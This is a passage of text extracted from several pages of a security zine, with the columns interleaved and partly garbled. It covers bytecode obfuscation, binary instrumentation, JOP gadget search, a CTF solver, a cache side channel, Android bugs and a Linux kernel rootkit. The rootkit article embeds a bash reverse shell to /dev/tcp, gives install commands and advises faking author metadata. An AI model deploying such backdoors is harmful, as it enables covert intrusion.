i = (i + 1) % 256
Python Bytecode j = (j + S[i]) % 256
The technique we will discuss here is a way of obfus- ...
cating Python bytecode. Before Python source code is ...
executed2 , it is compiled into Python bytecode. The
By replacing the name of the variable “OBFUSCA-
bytecode is then executed in the stack-based VM inside
TION” with “i = 0\n j”, the code will decompile into
CPython. Sometimes programs are shipped as Python
this:
source code but it is possible to only use the .pyc files
containing the compiled bytecode. For example, this def rc4(data, key):
is what py2exe does when building a stand-alone exe- ...
cutable. for i in range(256):
Bytecode Decompilation Tricks ...
When trying to analyze Python bytecode, it is desirable i = 0
to turn it back into regular Python code for readability. j = 0
A popular tool to do this is uncompyle6 which usually for b in data:
works amazingly well for decompiling Python bytecode. i = (i + 1) % 256
There exist multiple ways to fool it however. One way j = (j + S[i]) % 256
to mess up the decompilation is to craft Python byte- ...
code that can’t be produced from valid Python code, ...
such as abusing exceptions for flow control. This is pow-
The decompiled code now implements RC4 correctly
erful because the decompilation will likely fail since the
and would typically not warrant any further scrutiny
original code isn’t actually Python to start with. The
since it’s just an implementation of a well-known algo-
downside is that you need to either write the bytecode
rithm. This is the key element because the decompiled
by hand or create your own compiler.
code is now functionally different to the original code
Another way is to abuse variable names. Python byte-
and its corresponding bytecode. In the initial version,
code retains all the variable names to enable reflection.
the value of the variable i will be 255 when it enters
In contrast to the Python language, the CPython VM
the second loop but in the decompiled version it will
itself has no restrictions on variable naming. This can
be 0. If this function is used as part of an unpacker,
be abused by replacing all variable names with whites-
it will mean that even though the reverse engineer uses
pace. It will transform code from:
the correct key, the payload will never be succesfully
decrypted. This could easily throw many reverse engi-
S, j = range(256), 0
neers off and make them waste a lot of time.
for i in range(256):
The key idea of this method is to create a program
j = (j + S[i] + key[i % keylength]) % 256
that decompiles to seemingly correct code to not raise
S[i], S[j] = S[j], S[i] # swap
suspicion and thereby throwing the analyst off while
into bytecode which decompiles into something like this: hiding the true functionality of the code.

, = range(256), 0
for in range(256):
= ( + [ ] + [ % ]) % 256
[ ], [ ] = [ ], [ ]
1 See the Underhanded C Contest for great examples
2 In the CPython implementation

Calle "ZetaTwo" Svensson


https://zeta-two.com
Twitter: @ZetaTwo
42 SAA-TIP 0.0.7
Trace memory references in your ELF PIE
Reverse Engineering

Trace memory references in


your ELF PIE
poc-code: http://github.com/ltlollo/instr Lorenzo Benelli

Dear fellow cooks, have you ever wondered which po-


sitions of memory is your freshly baked x86 64 ELF ex-
ecutable accessing? Here, follow this simple three-step
recipe to find out how to check that, using binary in-
strumentation!

Ingredients (for one executable):

1 good disassembler (I suggest Capstone® )


1 good assembler (I suggest Keystone® )
5 memory pages at least, 4 KiB (4.096 kB) each.
1 function that dumps its input onto a file.

Step one: Find the code

If the binary is not stripped, you can easily find


its functions offsets and sizes, by looking inside the
elf’s sections: Locate the section header table in your If you do so, remember to recompute the jumps internal
elf’s header. In the section headers find one with to the original function.
type SHT SYMTAB named .symtab and one with type
SHT STRTAB named .strtab . In the .symtab , the en- Step three: Reassemble
tries with type STT FUNC, are your functions, while their
names are in .strtab . Adding our new stuff to the executable is not as easy
as appending it, we also need to tell the kernel where to
Step two: Instrument map it into memory using program header entries. So
we are going to add a new copy of our original program
Write a piece of position independent code that stores header table with three new mappings: one read only,
its input (rax) somewhere (I’ll call it rax dump ). Per- with offset and address of the table itself (this so that
sonally, I like to place it after a page that I know the linker can also see it), one R/W (so we can store
I can write to, that, when full, I can dump its con- some addresses), and one R/E pointing to the code we
tent on disk. Disassemble the code you found be- just generated. Beware of mixing all these ingredients
fore and look for instructions of the form op reg, after the latest vaddr+memsz to avoid a confict with the
[expr], op reg, reg:[expr], op [expr], reg, or op bss, and that vaddr-offset must be 0 mod 4096, or
reg:[expr], reg. For each of them, generate a tiny just follow grandma’s tip: keep all offsets and sizes in
gadget, using lea rax, [expr] to fetch the address, the program headers page-aligned.
and append it after the rax dump you previously wrote. If you also wish to call some flushing code before the
Finally, replace the oringinal instruction with a jump to program shuts down, you’ll need to append two addi-
your new code, and you are all set. tional sections (and the respective R/W mappings as
program headers entries). A copy of .fini array with
the virtual address of your flushing code appended, and
a copy of .rela.dyn with a new R X86 64 RELATIVE
symbol pointing its r offset and r addend to the file
offset and address of your finalizer. Don’t forget to up-
date all the r offsets of the other R X86 64 RELATIVE
symbols you moved with the .fini array and update
the DT FINI ARRAY and DT FINI ARRAYSZ address and
offset in the .dynamic section. Finally, update the pro-
gram header table offset in your elf’s header (and in the
PT PHDR program header), with its new virtual address,
et voilà, your binary is ready to reveal its delicious se-
A couple of caveats: If your instruction is rip-relative crets!
remember to skip it or recompute its destination, and Are you a professional chef? Then make sure to
offset your expressions by 8 if it uses rsp. check out these professional tools for instrumen-
Also the instruction you are replacing might be tation needs: Pin, DynamicRIO
smaller than a jump, so you may have to copy a bunch.

Lorenzo Benelli

SAA-TIP 0.0.7 43
EFFICIENT JOP GADGET SEARCH
Reverse Engineering

Efficient JOP Gadget Search 1. Performance — Must run the regex state ma-
Quickstart: cargo install xgadget --features cli-bin chine to find matching offsets, then run a disassem-
bler on matches (duplication of per-regex work).
Google’s 2022 analysis1 of zero-day exploits “de-
2. Completeness — Need a complete list of regexs
tected and disclosed as used in-the-wild” stated:
to match all 50+ possible x64 indirect jmp/call
“Memory corruption vulnerabilities have been the stan- encodings (complex, error-prone).
dard for attacking software for the last few decades and
it’s still how attackers are having success.” Leveraging Instruction Semantics
We avoid both drawbacks with a general solution:
One factor in such incredible longevity is nascent
encoding higher-level operand semantics. Attempt to
adoption of memory-safe systems languages2 . Another
disassemble a single instruction at every offset (or only
is continued emergence of new attack paradigms and
instances of 0xff), then work backwards if disassembly
techniques. Hardware W ⊕X support (aka NX, DEP)
succeeds (e.g. valid instruction) and the instruction’s
has prevented code injection since the early 2000s. In
operand behavior makes it a viable gadget tail.
response, Return Oriented Programming (ROP)
introduced code reuse: an attacker with stack control The below code snippet finds JOP gadget tails, for
chains together short, existing sequences of assembly all possible jmp and call encodings, using official Rust
(aka “gadgets”) — should a leak enable computing gad- bindings for zydis5 .
get addresses in the face of ASLR. When contiguous #![no_std] // PROOF: below code is bare-metal portable
ROP gadget addresses are written to a corrupted stack, #![forbid(unsafe_code)] // PROOF: non-ext-lib code is mem-safe

each gadget’s ending ret instruction pops the next gad- use zydis::enums::{Mnemonic, OperandAction, OperandType};
get’s address into the CPU’s instruction pointer. The use zydis::{DecodedInstruction, Register};

result? Turing-complete control over a victim process. // Categorization ----------------------------------------


Jump Oriented Programming (JOP) is a /// Check if viable JOP or COP tail instruction
newer code reuse method which, unlike ROP, doesn’t pub fn is_jop_tail(instr: &DecodedInstruction) -> bool {
matches!(instr.mnemonic, Mnemonic::JMP | Mnemonic::CALL)
rely on stack control. And thus bypasses shadow-stack && (has_one_reg_op(instr) || has_one_reg_deref_op(instr))
implementations, like Intel CET SS3 . JOP allows stor- }
ing a table of gadget addresses in any RW memory // Constructs for attacker control -----------------------
location4 . Instead of piggy-backing on call-return se-
/// Check for sole register operand (e.g. ‘‘jmp rax’’)
mantics to execute the gadget list, a “dispatch” gadget fn has_one_reg_op(instr: &DecodedInstruction) -> bool {
(e.g. add rax, 8; jmp [rax]) controls table index- instr
.operands
ing. Chaining happens if each gadget ends with a jmp .iter()
back to the dispatcher (instead of a ret). .filter(|&o| {
(o.action == OperandAction::READ)
The Challenge in JOP Gadget Search && (o.ty == OperandType::REGISTER)
}).count() == 1
Disassembly is typically linear (decode consecutive }
instructions) or recursive-descent (follow control-flow
/// Check for sole register-controlled memory
from entry point). Gadget search is atypical: assum- /// deference (e.g. ‘‘jmp dword ptr [rax]’’)
ing x64, the ROP goal is finding every instance of an fn has_one_reg_deref_op(instr: &DecodedInstruction) -> bool {
instr
opcode (e.g. 0xc3, 1 of 4 ret variants) and iteratively .operands
moving the disassembly starting point backwards, one .iter()
.filter(|&o| {
byte at a time, to find a sequence of valid instructions (o.action == OperandAction::READ)
ending with the tail opcode. Even if they start at mis- && (o.ty == OperandType::MEMORY)
&& (o.mem.base != Register::NONE)
aligned offsets in the context of a normal program (e.g. }).count() == 1
partway through an intended instruction). }

JOP gadgets present a unique challenge. For x64, Closing


the subset of relevant jmp and call instructions (e.g.
Society is still playing one of computer security’s
jmp rax or call [rbx], absolute indirect target) all
oldest cat-and-mouse games. If future exploit mitiga-
have encodings starting with byte literal 0xff. Most
tions thwart ROP, JOP provides comparable expressiv-
gadget search tools use regex to find specific encodings
ity — despite more complex gadget search and exploit
before attempting disassembly. For example, certain
development6 . At least until safer type systems, CFI
4-byte encodings of jmp [reg + offset ] match via
runtimes, and/or CHERI hardware become universal.
\xff[\x60-\x63\x65-\x67][\x00-\xff]. Regex has
two major drawbacks: We’ve implemented the semantic search technique
described here in xgadget7 - a fast, parallel, open-
1 https://googleprojectzero.blogspot.com/2022/04/
source, cross-{patch,compiler}-variant ROP/JOP gad-
the-more-you-know-more-you-know-you.html
2 https://highassurance.rs get finder. Happy hunting.
3 Weakness: CET can include IBT to mitigate JOP. But IBT

only validates target addrs, not func prototypes. Can still jump
to imports, etc. JOP attacks are constrained, not eliminated. 5 https://zydis.re
4 Aside: ROP chains may control stack location via “stack piv- 6 https://www.exploit-db.com/exploits/45045

oting”, but gadget address placement remains stack-restricted. 7 https://github.com/entropic-security/xgadget

Tiemoko Ballo
https://highassurance.rs
https://tiemoko.com
44 SAA-ALL 0.0.7
BSOD colour change trick
Reverse Engineering

The colour value is passed to BgpClearScreen from


the dereferenced rdx at offset 28h. Following the crumbs
backwards, we’re left with the following picture:

rcx = <some global storage>


rdx = *(rcx+0x18)
colour = *(rdx+0x28)

The global storage points to the Boot Graphics


Fancy a nice zen hue to help calm the nerves during bugcheck information context. This is found at an offset
your forthcoming Windows BugCheck? Back in the old to a known symbol – kd kindly 1resolving this for us to
days prior to Windows 8, one could simply select from a nt!MiSystemPartition+0x5760 .
set of options in the SYSTEM.INI – or resort to hackery Try it out in kd for a lovely purple hue:
à la NotMyFault’s method for a greater gamut.
kd> ed poi(poi(nt!MiSystemPartition + 0x5760)
Nowadays, said hackery seems the only option, ,→ + 0x18) + 0x28 ff9900cc; .crash
and NotMyFault is sadly out of date – alas! But
fear not my many-coloured-background-desiring To get this working outside the context of a debugger,
friends, help is at hand! The Blue Screen of it’s best that we clean up a little.
Death (or Green for Insider builds but we’ll roll After cleanup, we get:
with BSOD here) is triggered by KeBugCheck2 BgpClearScreen(
calling into BgpFwDisplayBugCheckScreen via BgpCriticalState
KiDisplayBlueScreen. ,→ .pDisplayCharacterContext->pTxtRegion
BgpFwDisplayBugCheckScreen is part of the Boot ,→ ->BgColour)
Graphics stack – the code responsible for showing that Wait What??! That’s a little jump from the regis-
little spinner and other such goodies on boot. Here it ter crumbs – none of these symbols are available?! And
wrests control of the graphics responsibilities from the where in memory is this BgpCriticalState thingama-
now defunct Windows graphics infrastructure and draws jig?
the BSOD, starting with the background fill and then
In terms of working out the rough naming of
drawing the emoticon, various text messages and emoti-
the various structures: BgpCriticalState is al-
con.
ready named publicly in prior art2 and for the
Our aim is simple control over the background colour rest, I simply cross-referenced and delved into
but you can pull at the various strands in this function some other Bg functions names in public sym-
to modify anything on the BSOD screen – an exercise bols such as BgpBcInitializeCriticalMode,
left to the reader. BgpDisplayCharacterGetContext,
Our first port of call is BgpTxtCreateRegion. (TBH I lazied-out a little
BgpFwDisplayBugCheckScreen’s call to with the pTxtRegion->BgColour bit; this is actually
BgpClearScreen. The colour information is stored in a structure holding other goodies but the background
a DWORD, in the 0xAARRGGBB (A is Alpha) format – as colour information is at offset 0).
passed to this function, and we’re going to want to (BgpCriticalState is also interesting if you’d like to
modify the storage for this guy ahead of time so that change other aspects of the BSOD – e.g. the text con-
when the *SOD arises, we’re greeted as expected. tents.)
Discovering the location of BgpCriticalState in
1 mov rcx, cs:BgpCriticalState memory robustly is a little finicky. For a known
2 .pDisplayCharacterContext version of ntoskrnl.exe, one could look it up of-
3 mov esi, 1C8h fline. For online discovery, one could try disassembling
4 movsxd rdi, eax the BgpBcInitializeCriticalMode function where this
5 mov rdx, [rcx+18h] structure is initialized, but one would of course still be
6 lea rbx, [rdi+rdi*8] at the mercy of the structure layout of any one of the
7 cmp r14d, esi offsets in the various levels of indirection – something
8 jnz short loc_140670187 that could change with any Windows update.
9 mov dword ptr [rdx+28h], 0FF000000h Bonus: Make your BSOD happy!
10
kd> eb poi(nt!HalpPCIConfigReadHandlers - 8)
11 ; CODE XREF:
,→ 3a 00 29 00
,→ BgpFwDisplayBugCheckScreen+B2↑j
12 loc_140670187: 1 This analysis refers to ntoskrnl.exe 10.0.22621.2283 that comes

13 mov ecx, [rdx+28h] as part of the Windows 11 22H2 September ’23 update.
2 Prior art exists for at least Win8 (https://tinyurl.com/
14 call BgpClearScreen (fffff8041346eaf8)
bsod-win8) and Win10 (https://tinyurl.com/bsod-win10).

David Kaplan
https://x.com/depletionmode
https://depletionmode.com
SAA-TIP 0.0.7 45
Wrapping GDB with Python to Easily Capture Flags
Reverse Engineering

Wrapping GDB binary through Python. The main logic is that we


will place a breakpoint at the line where the compar-
with Python to ison happens. Specifically, the check is performed at
0x8991 (0x55555555c991 in debugger) with the instruc-
Easily Capture tion cmp r11d, [rcx+rsi*4] (r11d holds the com-
puted value from c1 & c2, rcx is the global array con-
Flags stant, and rsi is the array index). After placing the
breakpoint and passing the input, we will instruct GDB
I’m going to describe a dynamic side-channel tech- to print the values of the above registers, so we can see
nique I discovered while playing CTFs. Since then, I’ve the computed value from our input, and compare it with
successfully used this technique to solve Reverse Engi- the target value.
neering challenges. So, I hope this article can show CTF To fully automate it, we need to add n number of
players a new way to approach challenges. For refer- continue statements. This way, we can pass through
ence, we will use the sideways challenge from Dow- the characters we have found, and go to the specific
nUnderCTF 2023 written by Joseph. index we want to check. Every time we find a pair,
we will add one more continue and go to the n + 1
1 Analyzing The Binary iteration.
Ignoring the cringe from it being a Rust binary, the im-
portant parts are:
3 Writing Our Solver
• The flag is passed as an argument from subprocess import run, PIPE
• The flag has a length of 26 characters import string
• The binary performs 13 loops, with the ith and 26-
ith characters in every iteration ALPHABET = string.ascii_uppercase +
• At the end of the loop, a check is performed with a string.ascii_lowercase +
constant global array string.digits +
'{_}'
// rewritten from decompilation for readability
for (int i = 0; i < 13; i++ ) def check_pair (ctr, user_in):
{ continues = ' --ex "continue"' * (ctr-1)
c1 = input[25-i]; command = "gdb ./sideways --nx"
c2 = input[i]; command += " --ex 'b *0x55555555c991'"
// multiple left out instructions command += f" --ex 'r \"{user_in}\"'"
if ( val_to_check != constants[i] ) command += continues
goto WRONG; command += " --ex 'p/x $r11'"
} command += " --ex 'x $rcx + $rsi * 4'"
command += " --batch"
The left-out part of the loop is filled with bitwise and proc = run(command, stdout=PIPE, shell=True)
numerical operations (add, and, rol, xor) which could lines = proc.stdout.decode().split("\n")
lead someone to grab them all and try to make z3 work goal = int(lines[-2].split(':')[-1][1:], 16)
with them. However, the above challenge becomes very our_input = int(lines[-3].split('= ')[-1], 16)
easy to solve if we implement our technique. return goal == our_input

2 Explaining The Technique # could be optimized from known flag format DUCTF{}
As mentioned above, the checking algorithm examines if flag = ['A' for _ in range(26)]
two characters produce a specific value in a global array. counter = 1
while counter <= 13:
Since for every iteration only two values are used, this is
check = False
very bruteforcable. All we have to do is go through all
for c1 in ALPHABET:
the characters [a-zA-Z0-9{ }] twice. Specifically, there
for c2 in ALPHABET:
are 65 characters in this range, so we have to bruteforce
flag[counter-1],flag[-counter]=c1,c2
65 ∗ 65 = 4225 pair of characters.
check_flag = ''.join(flag)
Doing this manually however is infeasible, and even if
if check_pair(counter, check_flag):
we get a hit with a valid combination, we won’t get any
counter += 1
response from the binary. So, we need to look at what’s
check = True
going on in the runtime of the process. A way to do that print('flag:', check_flag)
and view the memory and registers is to use a debugger. break
Still, our technique would take too long. This is why we if check:
need to automate the task, and Python allows us to do break
that very easily.
To implement it, we will construct a string of GDB
flags, which we will pass to GDB when executing the

ckrielle
https://tellnotales.xyz
https://x.com/ckrielle
46 SAA-ALL 0.0.7
Leaking Guest Physical Address Using Intel Extended Page Table
Translation Security/Hacking

Leaking Guest Physical Address Using Intel


Extended Page Table Translation
ASLR ⊕ Cache by VUSec researchers [ANC] is a side The experiment was carried out on Intel Core i7-
channel attack to break Address Space Layout 5557U processor with Ubuntu Xenial running as
Randomization (ASLR) using virtual address (VA) guest. The PoC for leaking gPA includes a kernel
translation performed by the Memory Management driver to read gCR3 value for a given process ID and
Unit (MMU). This article extends the attack to also gain unrestricted access to Linux mem device
virtualized environments, where it is possible to from user space by patching the devmem_is_allowed
partially infer the physical address (PA) bits in CR3 function. The attacker user space process based on
register and page table entries (PTEs) during a VA revanc [ANC] maps the gCR3 value, logs all the PTEs
translation. Further research is needed to reliably for a VA and measures the access time using
leak the entire PA from an unprivileged guest user. EVICT+TIME attack during VA translation by MMU.
Then, for each cache line, measure the filtered
Overview of ASLR ⊕ Cache Attack access time and sort the cache line indexes based
Recent page table translations by MMU are cached on higher timings. Cache line indexes used as part
in Translation Lookaside Buffer (TLB). Since TLB of PTEs and VA scored higher timings compared to
misses are costly, page table pages are cached in other cache lines, indicating a clear info leak.
last level cache. During page table walk, all 9-bit
chunks from a VA other than the 12-bit offset are Intel classified this as a mitigation bypass issue,
used as index at each level of page table. In the case which reveals gPA bits of a virtual address and it is
of TLB miss, out of 9 bits from VA, 6 bits are used different from that of INTEL-SA-00238 and INTEL-
as cache line index and 3 bits are used as cache line SA-00247, which leaks host PA. No embargo or
offset. With this information, attacker can access a coordinated disclosure was enforced. Further, Intel
target memory page to fetch the related PTEs into reported that they are planning to address this in
the cache, evict the TLB entries, evict cache lines future products but not in current shipping
one by one from 0-63 and time the access to target
products as of November 2019. The below result
memory page for each eviction from 0-63. If the time
shows translation of a gVA and its respective PTEs.
to access the target memory page increases on
eviction of cache line X, then attacker can infer that The cache line indexes from the translated
this cache line is used by PTE. Since cache line addresses are marked as OK and they make it to the
index is part of the VA, this can break ASLR. top of the sorted timings. You can find the source
code for the project on GitHub [SRC].
Extended Page Table
Extended Page Table (EPT) is a hardware feature for Address Cache Lines
MMU virtualization by Intel. The physical address gVA 0x3ffff6fef000 15, 63, 54, 61
as seen by the guest is not the actual physical gCR3 0x6b5b6000 0, 0, 43, 54
address of a page in memory. During VA translation gPML4E 0x6a06e000 0, 0, 42, 13
in guest, all the PTEs in 4 level page walk - gPML4E, gPDPTE 0x7354b000 0, 0, 51, 41
gPDPTE, gPDE, gPTE and gCR3 register are further gPDE 0x8b9be000 0, 0, 11, 55
translated using an intermediate page walk to locate gPTE 0x110f0000 0, 0, 17, 30
the host physical address of guest page table pages.
Unique Cache Lines : 0, 11, 13, 15, 17, 30, 41,
Cache Attack on EPT
42, 43, 51, 54, 55, 61, 63
The physical address translations in EPT can result
in a maximum of 20 memory loads i.e. gPML4E,
gPDPTE, gPDE, gPTE and gCR3 going through 4 Timings Measured by Eviction
levels of translation (5 x 4 = 20). Moreover, the guest Cacheline: 55, Score: 674 [OK]
virtual address (gVA) is looked up in all translated Cacheline: 54, Score: 534 [OK]
page table pages, adding 4 more memory loads per Cacheline: 30, Score: 386 [OK]
translation. The learning from A⊕C attack is that as Cacheline: 63, Score: 383 [OK]
long as any part of VA is used for page table lookup, Cacheline: 13, Score: 371 [OK]
it can be leaked. This raises the question - since Cacheline: 41, Score: 354 [OK]
guest physical address (gPA) is used for lookup Cacheline: 61, Score: 349 [OK]
during EPT translations, can an unprivileged guest Cacheline: 14, Score: 292
user leak gPA translations too along with gVA? Cacheline: 40, Score: 260
Cacheline: 15, Score: 259 [OK]
The major problem in detecting 24-memory loads Cacheline: 51, Score: 255 [OK]
performed during EPT translation is the noise, Cacheline: 42, Score: 252 [OK]
probably due to other evictions. This noise can be [ANC] https://www.vusec.net/projects/anc
reduced by increasing the number of times a cache [SRC] https://github.com/renorobert/slatmmu
line is profiled and then by filtering the access time.

The article was originally published at https://github.com/renorobert/slatmmu (July 25, 2020)

Reno Robert
https://twitter.com/renorobertr
SAA-TIP 0.0.7 47
Exploiting Shared Preferences of Android Apps
Security/Hacking

3. This folder contains all the Shared Preferences


data in XML files related to the app whose
Exploiting Shared folder it is. Every XML file contains a large
number of pairs of key-values.
Preferences of Android These XML files might contain the
hidden application configuration, non-hidden
Apps application configuration, cookies, and most of
the things which an app needs to locally store to
work properly that may include boolean values
Introduction for verification of the membership or for
verification of accessibility of premium features.
Shared Preferences allow android developers to
Some gaming apps might store details like how
store data as key-value pairs in android devices for
max you have scored or at which level you are.
any specific application which may be used later for
Here is the example of part of an XML
multiple purposes. It does not use any kind of
file of Whatsapp:-
encryption by itself to store this data. However, this
data is stored at location “/data/data/” in XML files
<int name="document_limit_mb" value="100"
which can’t be accessed by normal android users.
/>
So, how can we access it and what’s so important
<int name="media_limit_mb" value="16" />
there?
<int name="status_video_max_duration"
Rooting an android device is similar to
value="30" />
achieving super user access to the linux system
<int name="image_quality" value="80" />
which opens a whole new world of android. With
root user, you can tweak hardware settings, remove
It seems we may be able to send images
bloatware, fully control applications, install custom
without decreasing their quality and send
ROMs, install BusyBox (bundle of Unix utilities), and
longer video status in WhatsApp by changing
much more. You have probably guessed by now
values of the above-mentioned keys. These
that we would need a rooted android device. I won’t
entries mentioned above are only for example
be discussing “how to root” an android device as
purposes and changing them might not work.
there are plenty of tutorials online and the process
4. Force stop the app from the app info page
is also sometimes very specific to the devices.
whose shared preferences you're going to edit.
Then, edit the value of any respective key in the
Exploitation XML file using any text editor and save it.
5. Now open the app and changes should be
Root android users can read, write, and modify all reflected.
files of the “/” directory. Here, I will be using the
Amaze File Manager (Open source app) App to Note that this “hack” might not work on some
access and read the files (make sure you have key-value pair configuration as they might be
enabled the root explorer in settings of the app). getting confirmed or updated every time from the
You may also use adb shell to continue with the server. You can also avoid going through trouble of
same procedure. rooting by using the android emulator as most of
them are rooted by default.
After installing the app and using it for a while,
1. Open the path “/data/data/” in Amaze File
Manager where you would find folders with Conclusion
package names of your installed applications.
As we have seen above, shared preferences can be
2. Open the folder of any application that you
exploited very easily as the only barrier accessing
want to explore and open the “shared_prefs”
these shared preferences is a rooted device. From a
folder inside (if it does not exist try to use that
security perspective, it is also important to discuss
app a little more and it will be created
how we can make them secure. The answer is using
eventually). The final path would be something
Encryption and Digital Signature before storing
like this
sensitive data in shared preferences.
“/data/data/io.package.name/shared_prefs”.

Vikas Gola
https://www.linkedin.com/in/vikasgola/
https://github.com/vikasgola/
48 SAA-ALL 0.0.7
R3verse$hell As R00tkit
Security/Hacking

ReverseSh3LL_As_R00tkit
This is an introduction to linux kernel module program- /* *
ming and how to use it to develop rootkits. Rootkits * ** module_param ** - typesafe helper for
can be used for malevolent purposes such as data theft, a module / cmdline parameter
tracking user activities, or disrupting a computer’s nor- * ** @name :** the variable to alter , and
mal operation. In this example, leveraging bash invoked exposed parameter name .
reverse shell as a rootkit allows the attacker to establish * ** @type :** the type of the parameter
a network-based backdoor connection into the compro- * ** @perm :** visibility in sysfs .
mised machine. * */

One thing to note here is that everything has a static key-


word outside of function definition, including variables
# include < linux / init .h >
# include < linux / module .h > and functions themselves. Because the linux kernel mod-
# include < linux / kmod .h > ule linker does not export function definitions and vari-
ables outside of the module, namespace pollution from
MODULE_LICENSE ( " GPL " ) ; other modules and the kernel itself is avoided this way.
MODULE_AUTHOR ( " CJHackerz " ) ; Any variable or function can be made accessible outside
MODULE_DESCRIPTION ( " This modules pwns of the kernel module using the EXPORT_SYMBOL()
your system ! " ) ; macro. Now we’ll get to the meat of my example, which
is calling a userspace program from the kernel space.
static char * lhost_ip = " 127.0.0.1 " ;
module_param ( lhost_ip , charp , 0) ;
static int exec_command ( char
MODULE_PARM_DESC ( lhost_ip , " Static IP of
* bash_command ) {
attacker 's localhost " ) ;
char * argv [] = { " / bin / bash " , " -c " ,
bash_command , NULL };
static char * lhost_port = " 4444 " ;
static char * env [] = {
module_param ( lhost_port , charp , 0) ;
" HOME =/ " ,
MODULE_PARM_DESC ( lhost_port , " listening
" TERM = linux " ,
PORT for reverse shell connection " ) ;
" PATH =/ sbin :/ bin :/ usr / sbin
:/ usr / bin " , NULL };
As shown in the preceding code snippet, you can set
information about a kernel module using various func- return call_usermodehelper ( argv [0] ,
tion macros given by linux/module.h. And all of this argv , env , UMH_WAIT_EXEC ) ;
information will be displayed in the modinfo command. }
The idea is to use these services to add information that
appears legitimate. Instead of using the hacker name I have defined a function which takes bash command
(CJHackerz) that I have used here, you might use the string as argument which we are adding to the list of
well-known John Doe <[email protected]> syntax arguments for the /bin/bash executable file. Then, with
in MODULE_AUTHOR(). The best option is to look at call_usermodehelper(), we pass the relative path of ELF
the git commit data of any open source kernel modules file, arguments for executable, environmental variables
available and use the names from there. Because, from and value to define the behaviour of kernel task thread.
the perspective of a system administrator, the presence More info can be found here: https://elixir.bootlin.com
of a kernel module from an unknown source in the system /linux/latest/source/kernel/umh.c#L483
raises the likelihood of its removal. This will execute the following compromised sys-
Having a nice description will also help. There will be tem:
times when you must send data to a rootkit while load- bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1'
ing your modules. For example, in your rootkit, module
A takes information about system hardware from the Enough with theories now let’s have look at my
/proc/cpuinfo file and loads module B with informa- example in action!
tion about processor architecture (x86_64, ARM, MIPS, apt install linux-headers-$(uname -r)
and so on), and module B then conducts architecture- git clone https://github.com/CJHackerz
specific system calls. In my case, I’m using two module /ReverseSh3LL_As_R00tkit.git
prams for the IP and PORT of the listening computer cd ReverseSh3ll_As_R00tkit
for reverse shell connections. To avoid null pointer deref- make
erence and insmod tainting, the default settings 127.0.0.1 sudo insmod revShell_kmodule_backdoor.ko lhost
(lhost_ip) and 4444 (lhost_port) are used. More _ip="192.168.X.X" lhost_port="1337"
information about module_param() is available in lin-
ux/moduleparam.h. Screenshots of a successful module insertion: https://im
gur.com/a/0gdwzh9

CJHackerz https://cjhackerz.net
https://x.com/cjhackerz
CC BY-SA 4.0 https://linkedin.com/in/cjhackerz 49
Android writeToParcel/createFromParcel mismatch bug
Security/Hacking

On Android most IPC is done through Binder with serialization through a class called Parcel.
One of the classes that can be sent through Binder is a Bundle, which is a key-value map
that can contain values of various types, including any class in the system implementing
Parcelable interface. Consider following situation (arrows indicate RPC calls):
1 2 3
Untrusted app System validates that the System app trusts the
constructs a Bundle Bundle is safe and forwards it previously validated Bundle

This scheme will fall apart if a Bundle can change contents during the second transmission.
Now, take a look at one of old Parcelable GateKeeperResponse createFromParcel(Parcel source) {
implementations and find a case in which int responseCode = source.readInt();
if (responseCode == RESPONSE_OK) {
the amount of data written won't be
final boolean shouldReEnroll = source.readInt() == 1;
equal to the amount of data read. byte[] payload = null;
void writeToParcel(Parcel dest, int flags) { int size = source.readInt();
dest.writeInt(mResponseCode); if (size > 0) {
if (mResponseCode == RESPONSE_OK) { payload = new byte[size];
dest.writeInt(mShouldReEnroll ? 1 : 0); source.readByteArray(payload);
if (mPayload != null) { }
dest.writeInt(mPayload.length); return createOkResponse(payload, shouldReEnroll);
dest.writeByteArray(mPayload); } else {
} return createGenericResponse(responseCode);
} }
} } Now, let's take a look at the whole self-changing

Found it? (or given up, spoilers below) Bundle as it goes from process 2 to process 3.
Length of the Bundle in bytes "VAL_PARCELABLE", indicates that value
(in little endian) Number of key-value pairs is serialized using Parcelable interface

a0 01 .B .N .D .L 03 06 .d .( .d .f .C .x 04
Magic value First key; keys in the Bundle are sorted by ascending Java hashCode()
(which is why such a bizarre name for the key is used here)

"android.service.gatekeeper.GateKeeperResponse" 00 00
Name of Parcelable class mResponseCode=RESPONSE_OK mShouldReEnroll=0
(doesn't matter here)
mPayload was null so writeToParcel has finished and we've proceeded to write the second key from the Bundle;
String length is 0x6F chars, so it takes (0x6F+1(for null byte))*2(because UTF-16) bytes (padded to a multiple of 4)
(all items in this row are single String (second key in Bundle) from the perspective of writer)

6f 6f padding key-value seen in step 3


Length of mPayload Bytes read into mPayload; because byte array Key-value pairs that are read in step 3;
(twice because size is shorter than String with the same "length", also include an extraneous key-value pair
this ends earlier than written String to exhaust the number of key-value pairs
is read by both readInt()
(also stuff to ensure the second key specified in the header
and readByteArray())
is written second (as sorted by Java hashCode()))

ff ff ff ff key-value seen in step 2 Just validated key-value pair is written,


but since all 3 keys were already read,
"VAL_NULL", we only cared for the key to be written this is ignored on reader side
And that was CVE-2017-0806, full code at https://github.com/michalbednarski/ReparcelBug .
PS: There were also quite a few different classes with such mismatches between writeToParcel and createFromParcel.
Page originally written in 2020 and published in 2022 at https://infosec.exchange/@BednarTildeOne/109518531724360449 .
Since page was originally written, Android 13 has mitigated this bug class and it was seen in the wild in "PinDuoDuo backdoor".

Micha€Bednarski
https://github.com/michalbednarski
